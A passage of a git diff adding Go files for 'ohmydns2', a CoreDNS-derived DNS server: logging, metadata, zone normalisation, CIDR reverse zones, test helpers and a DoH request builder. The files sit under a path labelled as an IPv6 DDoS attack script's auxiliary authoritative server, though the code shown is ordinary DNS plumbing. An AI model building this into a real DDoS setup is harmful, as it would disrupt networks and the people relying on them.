+
+ return rc, err
+ }
+ return plugin.NextOrFailure(l.Name(), l.Next, ctx, w, r)
+}
+
+// Name implements the Handler interface.
+func (l Logger) Name() string { return "log" }
+
+// Rule configures the logging plugin.
+type Rule struct {
+ NameScope string
+ Class map[response.Class]struct{}
+ Format string
+}
+
+const (
+ // CommonLogFormat is the common log format.
+ CommonLogFormat = `{remote}:{port} ` + replacer.EmptyValue + ` {>id} "{type} {class} {name} {proto} {size} {>do} {>bufsize}" {rcode} {>rflags} {rsize} {duration}`
+ // CombinedLogFormat is the combined log format.
+ CombinedLogFormat = CommonLogFormat + ` "{>opcode}"`
+ // DefaultLogFormat is the default log format.
+ DefaultLogFormat = CommonLogFormat
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/setup.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/setup.go
new file mode 100644
index 0000000..49a9fde
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/log/setup.go
@@ -0,0 +1,101 @@
+package log
+
+import (
+ "ohmydns2/core/dnsserver"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/pkg/replacer"
+ "ohmydns2/plugin/pkg/response"
+ "strings"
+
+ "github.com/coredns/caddy"
+ "github.com/miekg/dns"
+)
+
+func init() { plugin.Register("log", setup) }
+
+func setup(c *caddy.Controller) error {
+ rules, err := logParse(c)
+ if err != nil {
+ return plugin.Error("log", err)
+ }
+
+ dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
+ return Logger{Next: next, Rules: rules, repl: replacer.New()}
+ })
+
+ return nil
+}
+
+func logParse(c *caddy.Controller) ([]Rule, error) {
+ var rules []Rule
+
+ for c.Next() {
+ args := c.RemainingArgs()
+ length := len(rules)
+
+ switch len(args) {
+ case 0:
+ // Nothing specified; use defaults
+ rules = append(rules, Rule{
+ NameScope: ".",
+ Format: DefaultLogFormat,
+ Class: make(map[response.Class]struct{}),
+ })
+ case 1:
+ rules = append(rules, Rule{
+ NameScope: dns.Fqdn(args[0]),
+ Format: DefaultLogFormat,
+ Class: make(map[response.Class]struct{}),
+ })
+ default:
+ // Name scopes, and maybe a format specified
+ format := DefaultLogFormat
+
+ if strings.Contains(args[len(args)-1], "{") {
+ format = args[len(args)-1]
+ format = strings.Replace(format, "{common}", CommonLogFormat, -1)
+ format = strings.Replace(format, "{combined}", CombinedLogFormat, -1)
+ args = args[:len(args)-1]
+ }
+
+ for _, str := range args {
+ rules = append(rules, Rule{
+ NameScope: dns.Fqdn(str),
+ Format: format,
+ Class: make(map[response.Class]struct{}),
+ })
+ }
+ }
+
+ // Class refinements in an extra block.
+ classes := make(map[response.Class]struct{})
+ for c.NextBlock() {
+ switch c.Val() {
+ // class followed by combinations of all, denial, error and success.
+ case "class":
+ classesArgs := c.RemainingArgs()
+ if len(classesArgs) == 0 {
+ return nil, c.ArgErr()
+ }
+ for _, c := range classesArgs {
+ cls, err := response.ClassFromString(c)
+ if err != nil {
+ return nil, err
+ }
+ classes[cls] = struct{}{}
+ }
+ default:
+ return nil, c.ArgErr()
+ }
+ }
+ if len(classes) == 0 {
+ classes[response.All] = struct{}{}
+ }
+
+ for i := len(rules) - 1; i >= length; i-- {
+ rules[i].Class = classes
+ }
+ }
+
+ return rules, nil
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/README.md b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/README.md
new file mode 100644
index 0000000..325a3f2
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/README.md
@@ -0,0 +1,43 @@
+# metadata
+## 简介
+metadata包提供了一个 API,允许插件将元数据添加到上下文中。每个元数据都存储在格式为`<plugin>/<name>` 的标签下。每个元数据作为 Func 返回。调用 Func 时返回元数据。如果某个 Func 执行时间很长,就需要自行提供某种形式的缓存。在处理一个查询时的元数据应该保持不变。
+## 用例
+Basic example:
+```go
+//
+// Implement the Provider interface for a plugin p:
+//
+func (p P) Metadata(ctx context.Context, state request.Request) context.Context {
+ metadata.SetValueFunc(ctx, "test/something", func() string {
+ return "myvalue"
+ })
+ return ctx
+ }
+```
+Basic example with caching:
+```go
+func (p P) Metadata(ctx context.Context, state request.Request) context.Context {
+ cached := ""
+ f := func() string {
+ if cached != "" {
+ return cached
+ }
+ cached = expensiveFunc()
+ return cached
+ }
+ metadata.SetValueFunc(ctx, "test/something", f)
+ return ctx
+ }
+
+```
+
+
+If you need access to this metadata from another plugin:
+```go
+
+ // ...
+ valueFunc := metadata.ValueFunc(ctx, "test/something")
+ value := valueFunc()
+ // use 'value'
+
+``` \ No newline at end of file
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/metadata.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/metadata.go
new file mode 100644
index 0000000..cafe4e7
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/metadata.go
@@ -0,0 +1,42 @@
+package metadata
+
+import (
+ "context"
+ "github.com/miekg/dns"
+ "ohmydns2/plugin"
+ "ohmydns2/plugin/pkg/request"
+)
+
+// Metadata implements collecting metadata information from all plugins that
+// implement the Provider interface.
+type Metadata struct {
+ Zones []string
+ Providers []Provider
+ Next plugin.Handler
+}
+
+// Name implements the Handler interface.
+func (m *Metadata) Name() string { return "metadata" }
+
+// ContextWithMetadata is exported for use by provider tests
+func ContextWithMetadata(ctx context.Context) context.Context {
+ return context.WithValue(ctx, key{}, md{})
+}
+
+// ServeDNS implements the plugin.Handler interface.
+func (m *Metadata) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) {
+ rcode, err := plugin.NextOrFailure(m.Name(), m.Next, ctx, w, r)
+ return rcode, err
+}
+
+// Collect will retrieve metadata functions from each metadata provider and update the context
+func (m *Metadata) Collect(ctx context.Context, state request.Request) context.Context {
+ ctx = ContextWithMetadata(ctx)
+ if plugin.Zones(m.Zones).Matches(state.Name()) != "" {
+ // Go through all Providers and collect metadata.
+ for _, p := range m.Providers {
+ ctx = p.Metadata(ctx, state)
+ }
+ }
+ return ctx
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/provider.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/provider.go
new file mode 100644
index 0000000..490dfe1
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/provider.go
@@ -0,0 +1,89 @@
+package metadata
+
+import (
+ "context"
+ "ohmydns2/plugin/pkg/request"
+ "strings"
+)
+
+// Provider interface needs to be implemented by each plugin willing to provide
+// metadata information for other plugins.
+type Provider interface {
+ // Metadata adds metadata to the context and returns a (potentially) new context.
+ // Note: this method should work quickly, because it is called for every request
+ // from the metadata plugin.
+ Metadata(ctx context.Context, state request.Request) context.Context
+}
+
+// Func is the type of function in the metadata, when called they return the value of the label.
+type Func func() string
+
+// IsLabel checks that the provided name is a valid label name, i.e. two or more words separated by a slash.
+func IsLabel(label string) bool {
+ p := strings.Index(label, "/")
+ if p <= 0 || p >= len(label)-1 {
+ // cannot accept namespace empty nor label empty
+ return false
+ }
+ return true
+}
+
+// Labels returns all metadata keys stored in the context. These label names should be named
+// as: plugin/NAME, where NAME is something descriptive.
+func Labels(ctx context.Context) []string {
+ if metadata := ctx.Value(key{}); metadata != nil {
+ if m, ok := metadata.(md); ok {
+ return keys(m)
+ }
+ }
+ return nil
+}
+
+// ValueFuncs returns the map[string]Func from the context, or nil if it does not exist.
+func ValueFuncs(ctx context.Context) map[string]Func {
+ if metadata := ctx.Value(key{}); metadata != nil {
+ if m, ok := metadata.(md); ok {
+ return m
+ }
+ }
+ return nil
+}
+
+// ValueFunc returns the value function of label. If none can be found nil is returned. Calling the
+// function returns the value of the label.
+func ValueFunc(ctx context.Context, label string) Func {
+ if metadata := ctx.Value(key{}); metadata != nil {
+ if m, ok := metadata.(md); ok {
+ return m[label]
+ }
+ }
+ return nil
+}
+
+// SetValueFunc set the metadata label to the value function. If no metadata can be found this is a noop and
+// false is returned. Any existing value is overwritten.
+func SetValueFunc(ctx context.Context, label string, f Func) bool {
+ if metadata := ctx.Value(key{}); metadata != nil {
+ if m, ok := metadata.(md); ok {
+ m[label] = f
+ return true
+ }
+ }
+ return false
+}
+
+// md is metadata information storage.
+type md map[string]Func
+
+// key defines the type of key that is used to save metadata into the context.
+type key struct{}
+
+func keys(m map[string]Func) []string {
+ s := make([]string, len(m))
+ i := 0
+ for k := range m {
+ s[i] = k
+ i++
+ }
+ return s
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/setup.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/setup.go
new file mode 100644
index 0000000..9ebf7c9
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/metadata/setup.go
@@ -0,0 +1,45 @@
+package metadata
+
+import (
+ "ohmydns2/core/dnsserver"
+ "ohmydns2/plugin"
+
+ "github.com/coredns/caddy"
+)
+
+func init() { plugin.Register("metadata", setup) }
+
+func setup(c *caddy.Controller) error {
+ m, err := metadataParse(c)
+ if err != nil {
+ return err
+ }
+ dnsserver.GetConfig(c).AddPlugin(func(next plugin.Handler) plugin.Handler {
+ m.Next = next
+ return m
+ })
+
+ c.OnStartup(func() error {
+ plugins := dnsserver.GetConfig(c).Handlers()
+ for _, p := range plugins {
+ if met, ok := p.(Provider); ok {
+ m.Providers = append(m.Providers, met)
+ }
+ }
+ return nil
+ })
+
+ return nil
+}
+
+func metadataParse(c *caddy.Controller) (*Metadata, error) {
+ m := &Metadata{}
+ c.Next()
+
+ m.Zones = plugin.OriginsFromArgsOrServerBlock(c.RemainingArgs(), c.ServerBlockKeys)
+
+ if c.NextBlock() || c.Next() {
+ return nil, plugin.Error("metadata", c.ArgErr())
+ }
+ return m, nil
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/normalize.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/normalize.go
new file mode 100644
index 0000000..a7dcd8d
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/normalize.go
@@ -0,0 +1,179 @@
+package plugin
+
+import (
+ "fmt"
+ valid "github.com/asaskevich/govalidator"
+ "net"
+ "ohmydns2/plugin/pkg/cidr"
+ "ohmydns2/plugin/pkg/log"
+ "ohmydns2/plugin/pkg/parse"
+ "runtime"
+ "strconv"
+ "strings"
+
+ "github.com/miekg/dns"
+)
+
+// Host represents a host from the Ohmyfile
+type Host string
+
+// Normalize will return the host portion of host, stripping
+// of any port or transport. The host will also be fully qualified and lowercased.
+// An empty string is returned on failure
+// Deprecated: use OriginsFromArgsOrServerBlock or NormalizeExact
+func (h Host) Normalize() string {
+ var caller string
+ if _, file, line, ok := runtime.Caller(1); ok {
+ caller = fmt.Sprintf("(%v line %d) ", file, line)
+ }
+ log.Warning("An external plugin " + caller + "is using the deprecated function Normalize. " +
+ "This will be removed in a future versions of CoreDNS. The plugin should be updated to use " +
+ "OriginsFromArgsOrServerBlock or NormalizeExact instead.")
+
+ s := string(h)
+ _, s = parse.Transport(s)
+
+ // The error can be ignored here, because this function is called after the corefile has already been vetted.
+ hosts, _, err := SplitHostPort(s)
+ if err != nil {
+ return ""
+ }
+ return Name(hosts[0]).Normalize()
+}
+
+// NormalizeExact will return the host portion of host, stripping
+// of any port or transport. The host will also be fully qualified and lowercased.
+// An empty slice is returned on failure
+func (h Host) NormalizeExact() []string {
+ // The error can be ignored here, because this function should only be called after the corefile has already been vetted.
+ s := string(h)
+ _, s = parse.Transport(s)
+
+ hosts, _, err := SplitHostPort(s)
+ if err != nil {
+ return nil
+ }
+ for i := range hosts {
+ hosts[i] = Name(hosts[i]).Normalize()
+ }
+ return hosts
+}
+
+// Zones represents a lists of zone names.
+type Zones []string
+
+// Matches checks if qname is a subdomain of any of the zones in z. The match
+// will return the most specific zones that matches. The empty string
+// signals a not found condition.
+func (z Zones) Matches(qname string) string {
+ zone := ""
+ for _, zname := range z {
+ if dns.IsSubDomain(zname, qname) {
+ // We want the *longest* matching zone, otherwise we may end up in a parent
+ if len(zname) > len(zone) {
+ zone = zname
+ }
+ }
+ }
+ return zone
+}
+
+// Normalize fully qualifies all zones in z. The zones in Z must be domain names, without
+// a port or protocol prefix.
+func (z Zones) Normalize() {
+ for i := range z {
+ z[i] = Name(z[i]).Normalize()
+ }
+}
+
+// Name represents a domain name.
+type Name string
+
+// Matches checks to see if other is a subdomain (or the same domain) of n.
+// This method assures that names can be easily and consistently matched.
+func (n Name) Matches(child string) bool {
+ if dns.Name(n) == dns.Name(child) {
+ return true
+ }
+ return dns.IsSubDomain(string(n), child)
+}
+
+// Normalize lowercases and makes n fully qualified.
+func (n Name) Normalize() string { return strings.ToLower(dns.Fqdn(string(n))) }
+
+// OriginsFromArgsOrServerBlock returns the normalized args if that slice
+// is not empty, otherwise the serverblock slice is returned (in a newly copied slice).
+func OriginsFromArgsOrServerBlock(args, serverblock []string) []string {
+ if len(args) == 0 {
+ s := make([]string, len(serverblock))
+ copy(s, serverblock)
+ for i := range s {
+ s[i] = Host(s[i]).NormalizeExact()[0] // expansion of these already happened in dnsserver/register.go
+ }
+ return s
+ }
+ s := []string{}
+ for i := range args {
+ sx := Host(args[i]).NormalizeExact()
+ if len(sx) == 0 {
+ continue // silently ignores errors.
+ }
+ s = append(s, sx...)
+ }
+
+ return s
+}
+
+// SplitHostPort splits s up in a host(s) and port portion, taking reverse address notation into account.
+// String the string s should *not* be prefixed with any protocols, i.e. dns://. SplitHostPort can return
+// multiple hosts when a reverse notation on a non-octet boundary is given.
+func SplitHostPort(s string) (hosts []string, port string, err error) {
+ // If there is: :[0-9]+ on the end we assume this is the port. This works for (ascii) domain
+ // names and our reverse syntax, which always needs a /mask *before* the port.
+ // So from the back, find first colon, and then check if it's a number.
+ colon := strings.LastIndex(s, ":")
+ if colon == len(s)-1 {
+ return nil, "", fmt.Errorf("expecting data after last colon: %q", s)
+ }
+ if colon != -1 {
+ if p, err := strconv.Atoi(s[colon+1:]); err == nil {
+ port = strconv.Itoa(p)
+ s = s[:colon]
+ }
+ }
+
+ // TODO(miek): this should take escaping into account.
+ if len(s) > 255 {
+ return nil, "", fmt.Errorf("specified zone is too long: %d > 255", len(s))
+ }
+
+ if _, ok := dns.IsDomainName(s); !ok {
+ return nil, "", fmt.Errorf("zone is not a valid domain name: %s", s)
+ }
+
+ // Check if it parses as a reverse zone, if so we use that. Must be fully specified IP and mask.
+ _, n, err := net.ParseCIDR(s)
+ if err != nil {
+ return []string{s}, port, nil
+ }
+
+ if s[0] == ':' || (s[0] == '0' && strings.Contains(s, ":")) {
+ return nil, "", fmt.Errorf("invalid CIDR %s", s)
+ }
+
+ // now check if multiple hosts must be returned.
+ nets := cidr.Split(n)
+ hosts = cidr.Reverse(nets)
+ return hosts, port, nil
+}
+
+// SplitPort 用于从探测端的服务块中分离出Port,并且接收到的参数必须为[:port],这意味着所有探测端服务块必须指定端口号
+func SplitPort(s string) (port string, err error) {
+ if !strings.HasPrefix(s, ":") {
+ return "", fmt.Errorf("探测端服务块配置存在错误,应接收到[:port],实际接收到: %v", s)
+ }
+ if !valid.IsPort(s[1:]) {
+ return "", fmt.Errorf("探测端服务块配置存在错误,端口号不合法,实际接收到: %v", s[1:])
+ }
+ return s[1:], nil
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/README.md b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/README.md
new file mode 100644
index 0000000..0b04bf9
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/README.md
@@ -0,0 +1 @@
+*pkg*包含了所有ohmydns2核心处理逻辑需要的插件 \ No newline at end of file
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/cidr/cidr.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/cidr/cidr.go
new file mode 100644
index 0000000..b902d06
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/cidr/cidr.go
@@ -0,0 +1,82 @@
+// Package cidr contains functions that deal with classless reverse zones in the DNS.
+package cidr
+
+import (
+ "github.com/apparentlymart/go-cidr/cidr"
+ "github.com/miekg/dns"
+ "math"
+ "net"
+ "strings"
+)
+
+// Split returns a slice of non-overlapping subnets that in union equal the subnet n,
+// and where each subnet falls on a reverse name segment boundary.
+// for ipv4 this is any multiple of 8 bits (/8, /16, /24 or /32)
+// for ipv6 this is any multiple of 4 bits
+func Split(n *net.IPNet) []string {
+ boundary := 8
+ nstr := n.String()
+ if strings.Contains(nstr, ":") {
+ boundary = 4
+ }
+ ones, _ := n.Mask.Size()
+ if ones%boundary == 0 {
+ return []string{n.String()}
+ }
+
+ mask := int(math.Ceil(float64(ones)/float64(boundary))) * boundary
+ networks := nets(n, mask)
+ cidrs := make([]string, len(networks))
+ for i := range networks {
+ cidrs[i] = networks[i].String()
+ }
+ return cidrs
+}
+
+// nets return a slice of prefixes with the desired mask subnetted from original network.
+func nets(network *net.IPNet, newPrefixLen int) []*net.IPNet {
+ prefixLen, _ := network.Mask.Size()
+ maxSubnets := int(math.Exp2(float64(newPrefixLen)) / math.Exp2(float64(prefixLen)))
+ nets := []*net.IPNet{{IP: network.IP, Mask: net.CIDRMask(newPrefixLen, 8*len(network.IP))}}
+
+ for i := 1; i < maxSubnets; i++ {
+ next, exceeds := cidr.NextSubnet(nets[len(nets)-1], newPrefixLen)
+ nets = append(nets, next)
+ if exceeds {
+ break
+ }
+ }
+
+ return nets
+}
+
+// Reverse return the reverse zones that are authoritative for each net in ns.
+func Reverse(nets []string) []string {
+ rev := make([]string, len(nets))
+ for i := range nets {
+ ip, n, _ := net.ParseCIDR(nets[i])
+ r, err1 := dns.ReverseAddr(ip.String())
+ if err1 != nil {
+ continue
+ }
+ ones, bits := n.Mask.Size()
+ // get the size, in bits, of each portion of hostname defined in the reverse address. (8 for IPv4, 4 for IPv6)
+ sizeDigit := 8
+ if len(n.IP) == net.IPv6len {
+ sizeDigit = 4
+ }
+ // Get the first lower octet boundary to see what encompassing zone we should be authoritative for.
+ mod := (bits - ones) % sizeDigit
+ nearest := (bits - ones) + mod
+ offset := 0
+ var end bool
+ for i := 0; i < nearest/sizeDigit; i++ {
+ offset, end = dns.NextLabel(r, offset)
+ if end {
+ break
+ }
+ }
+ rev[i] = r[offset:]
+ }
+ return rev
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnstest/multirecorder.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnstest/multirecorder.go
new file mode 100644
index 0000000..138498d
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnstest/multirecorder.go
@@ -0,0 +1,40 @@
+package dnstest
+
+import (
+ "github.com/miekg/dns"
+ "time"
+)
+
+// MultiRecorder is a type of ResponseWriter that captures all messages written to it.
+type MultiRecorder struct {
+ Len int
+ Msgs []*dns.Msg
+ Start time.Time
+ dns.ResponseWriter
+}
+
+// NewMultiRecorder makes and returns a new MultiRecorder.
+func NewMultiRecorder(w dns.ResponseWriter) *MultiRecorder {
+ return &MultiRecorder{
+ ResponseWriter: w,
+ Msgs: make([]*dns.Msg, 0),
+ Start: time.Now(),
+ }
+}
+
+// WriteMsg records the message and its length written to it and call the
+// underlying ResponseWriter's WriteMsg method.
+func (r *MultiRecorder) WriteMsg(res *dns.Msg) error {
+ r.Len += res.Len()
+ r.Msgs = append(r.Msgs, res)
+ return r.ResponseWriter.WriteMsg(res)
+}
+
+// Write is a wrapper that records the length of the messages that get written to it.
+func (r *MultiRecorder) Write(buf []byte) (int, error) {
+ n, err := r.ResponseWriter.Write(buf)
+ if err == nil {
+ r.Len += n
+ }
+ return n, err
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnstest/recorder.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnstest/recorder.go
new file mode 100644
index 0000000..6484252
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnstest/recorder.go
@@ -0,0 +1,52 @@
+package dnstest
+
+import (
+ "github.com/miekg/dns"
+ "time"
+)
+
+// Recorder is a type of ResponseWriter that captures
+// the rcode code written to it and also the size of the message
+// written in the response. A rcode code does not have
+// to be written, however, in which case 0 must be assumed.
+// It is best to have the constructor initialize this type
+// with that default status code.
+type Recorder struct {
+ dns.ResponseWriter
+ Rcode int
+ Len int
+ Msg *dns.Msg
+ Start time.Time
+}
+
+// NewRecorder makes and returns a new Recorder,
+// which captures the DNS rcode from the ResponseWriter
+// and also the length of the response message written through it.
+func NewRecorder(w dns.ResponseWriter) *Recorder {
+ return &Recorder{
+ ResponseWriter: w,
+ Rcode: 0,
+ Msg: nil,
+ Start: time.Now(),
+ }
+}
+
+// WriteMsg records the status code and calls the
+// underlying ResponseWriter's WriteMsg method.
+func (r *Recorder) WriteMsg(res *dns.Msg) error {
+ r.Rcode = res.Rcode
+ // We may get called multiple times (axfr for instance).
+ // Save the last message, but add the sizes.
+ r.Len += res.Len()
+ r.Msg = res
+ return r.ResponseWriter.WriteMsg(res)
+}
+
+// Write is a wrapper that records the length of the message that gets written.
+func (r *Recorder) Write(buf []byte) (int, error) {
+ n, err := r.ResponseWriter.Write(buf)
+ if err == nil {
+ r.Len += n
+ }
+ return n, err
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnstest/server.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnstest/server.go
new file mode 100644
index 0000000..cebc68b
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnstest/server.go
@@ -0,0 +1,64 @@
+// Package dnstest allows for easy testing of DNS client against a test server.
+package dnstest
+
+import (
+ "github.com/miekg/dns"
+ "net"
+ "ohmydns2/plugin/pkg/reuseport"
+)
+
+// A Server is an DNS server listening on a system-chosen port on the local
+// loopback interface, for use in end-to-end DNS tests.
+type Server struct {
+ Addr string // Address where the server listening.
+
+ s1 *dns.Server // udp
+ s2 *dns.Server // tcp
+}
+
+// NewServer starts and returns a new Server. The caller should call Close when
+// finished, to shut it down.
+func NewServer(f dns.HandlerFunc) *Server {
+ dns.HandleFunc(".", f)
+
+ ch1 := make(chan bool)
+ ch2 := make(chan bool)
+
+ s1 := &dns.Server{} // udp
+ s2 := &dns.Server{} // tcp
+
+ for i := 0; i < 5; i++ { // 5 attempts
+ s2.Listener, _ = reuseport.Listen("tcp", ":0")
+ if s2.Listener == nil {
+ continue
+ }
+
+ s1.PacketConn, _ = net.ListenPacket("udp", s2.Listener.Addr().String())
+ if s1.PacketConn != nil {
+ break
+ }
+
+ // perhaps UPD port is in use, try again
+ s2.Listener.Close()
+ s2.Listener = nil
+ }
+ if s2.Listener == nil {
+ panic("dnstest.NewServer(): failed to create new server")
+ }
+
+ s1.NotifyStartedFunc = func() { close(ch1) }
+ s2.NotifyStartedFunc = func() { close(ch2) }
+ go s1.ActivateAndServe()
+ go s2.ActivateAndServe()
+
+ <-ch1
+ <-ch2
+
+ return &Server{s1: s1, s2: s2, Addr: s2.Listener.Addr().String()}
+}
+
+// Close shuts down the server.
+func (s *Server) Close() {
+ s.s1.Shutdown()
+ s.s2.Shutdown()
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnsutil/reverse.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnsutil/reverse.go
new file mode 100644
index 0000000..7bfd235
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnsutil/reverse.go
@@ -0,0 +1,81 @@
+package dnsutil
+
+import (
+ "net"
+ "strings"
+)
+
+// ExtractAddressFromReverse turns a standard PTR reverse record name
+// into an IP address. This works for ipv4 or ipv6.
+//
+// 54.119.58.176.in-addr.arpa. becomes 176.58.119.54. If the conversion
+// fails the empty string is returned.
+func ExtractAddressFromReverse(reverseName string) string {
+ search := ""
+
+ f := reverse
+
+ switch {
+ case strings.HasSuffix(reverseName, IP4arpa):
+ search = strings.TrimSuffix(reverseName, IP4arpa)
+ case strings.HasSuffix(reverseName, IP6arpa):
+ search = strings.TrimSuffix(reverseName, IP6arpa)
+ f = reverse6
+ default:
+ return ""
+ }
+
+ // Reverse the segments and then combine them.
+ return f(strings.Split(search, "."))
+}
+
+// IsReverse returns 0 is name is not in a reverse zone. Anything > 0 indicates
+// name is in a reverse zone. The returned integer will be 1 for in-addr.arpa. (IPv4)
+// and 2 for ip6.arpa. (IPv6).
+func IsReverse(name string) int {
+ if strings.HasSuffix(name, IP4arpa) {
+ return 1
+ }
+ if strings.HasSuffix(name, IP6arpa) {
+ return 2
+ }
+ return 0
+}
+
+func reverse(slice []string) string {
+ for i := 0; i < len(slice)/2; i++ {
+ j := len(slice) - i - 1
+ slice[i], slice[j] = slice[j], slice[i]
+ }
+ ip := net.ParseIP(strings.Join(slice, ".")).To4()
+ if ip == nil {
+ return ""
+ }
+ return ip.String()
+}
+
+// reverse6 reverse the segments and combine them according to RFC3596:
+// b.a.9.8.7.6.5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2
+// is reversed to 2001:db8::567:89ab
+func reverse6(slice []string) string {
+ for i := 0; i < len(slice)/2; i++ {
+ j := len(slice) - i - 1
+ slice[i], slice[j] = slice[j], slice[i]
+ }
+ slice6 := []string{}
+ for i := 0; i < len(slice)/4; i++ {
+ slice6 = append(slice6, strings.Join(slice[i*4:i*4+4], ""))
+ }
+ ip := net.ParseIP(strings.Join(slice6, ":")).To16()
+ if ip == nil {
+ return ""
+ }
+ return ip.String()
+}
+
+const (
+ // IP4arpa is the reverse tree suffix for v4 IP addresses.
+ IP4arpa = ".in-addr.arpa."
+ // IP6arpa is the reverse tree suffix for v6 IP addresses.
+ IP6arpa = ".ip6.arpa."
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnsutil/ttl.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnsutil/ttl.go
new file mode 100644
index 0000000..deedc72
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/dnsutil/ttl.go
@@ -0,0 +1,51 @@
+package dnsutil
+
+import (
+ "ohmydns2/plugin/pkg/response"
+ "time"
+
+ "github.com/miekg/dns"
+)
+
+// MinimalTTL scans the message returns the lowest TTL found taking into the response.Type of the message.
+func MinimalTTL(m *dns.Msg, mt response.Type) time.Duration {
+ if mt != response.NoError && mt != response.NameError && mt != response.NoData {
+ return MinimalDefaultTTL
+ }
+
+ // No records or OPT is the only record, return a short ttl as a fail safe.
+ if len(m.Answer)+len(m.Ns) == 0 &&
+ (len(m.Extra) == 0 || (len(m.Extra) == 1 && m.Extra[0].Header().Rrtype == dns.TypeOPT)) {
+ return MinimalDefaultTTL
+ }
+
+ minTTL := MaximumDefaulTTL
+ for _, r := range m.Answer {
+ if r.Header().Ttl < uint32(minTTL.Seconds()) {
+ minTTL = time.Duration(r.Header().Ttl) * time.Second
+ }
+ }
+ for _, r := range m.Ns {
+ if r.Header().Ttl < uint32(minTTL.Seconds()) {
+ minTTL = time.Duration(r.Header().Ttl) * time.Second
+ }
+ }
+
+ for _, r := range m.Extra {
+ if r.Header().Rrtype == dns.TypeOPT {
+ // OPT records use TTL field for extended rcode and flags
+ continue
+ }
+ if r.Header().Ttl < uint32(minTTL.Seconds()) {
+ minTTL = time.Duration(r.Header().Ttl) * time.Second
+ }
+ }
+ return minTTL
+}
+
+const (
+ // MinimalDefaultTTL is the absolute lowest TTL we use in CoreDNS.
+ MinimalDefaultTTL = 5 * time.Second
+ // MaximumDefaulTTL is the maximum TTL was use on RRsets in CoreDNS.
+ MaximumDefaulTTL = 1 * time.Hour
+)
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/doh/doh.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/doh/doh.go
new file mode 100644
index 0000000..faddfc8
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/doh/doh.go
@@ -0,0 +1,133 @@
+package doh
+
+import (
+ "bytes"
+ "encoding/base64"
+ "fmt"
+ "io"
+ "net/http"
+ "strings"
+
+ "github.com/miekg/dns"
+)
+
+// MimeType is the DoH mimetype that should be used.
+const MimeType = "application/dns-message"
+
+// Path is the URL path that should be used.
+const Path = "/dns-query"
+
+// NewRequest returns a new DoH request given a HTTP method, URL and dns.Msg.
+//
+// The URL should not have a path, so please exclude /dns-query. The URL will
+// be prefixed with https:// by default, unless it's already prefixed with
+// either http:// or https://.
+func NewRequest(method, url string, m *dns.Msg) (*http.Request, error) {
+ buf, err := m.Pack()
+ if err != nil {
+ return nil, err
+ }
+
+ if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
+ url = fmt.Sprintf("https://%s", url)
+ }
+
+ switch method {
+ case http.MethodGet:
+ b64 := base64.RawURLEncoding.EncodeToString(buf)
+
+ req, err := http.NewRequest(
+ http.MethodGet,
+ fmt.Sprintf("%s%s?dns=%s", url, Path, b64),
+ nil,
+ )
+ if err != nil {
+ return req, err
+ }
+
+ req.Header.Set("content-type", MimeType)
+ req.Header.Set("accept", MimeType)
+ return req, nil
+
+ case http.MethodPost:
+ req, err := http.NewRequest(
+ http.MethodPost,
+ fmt.Sprintf("%s%s?bla=foo:443", url, Path),
+ bytes.NewReader(buf),
+ )
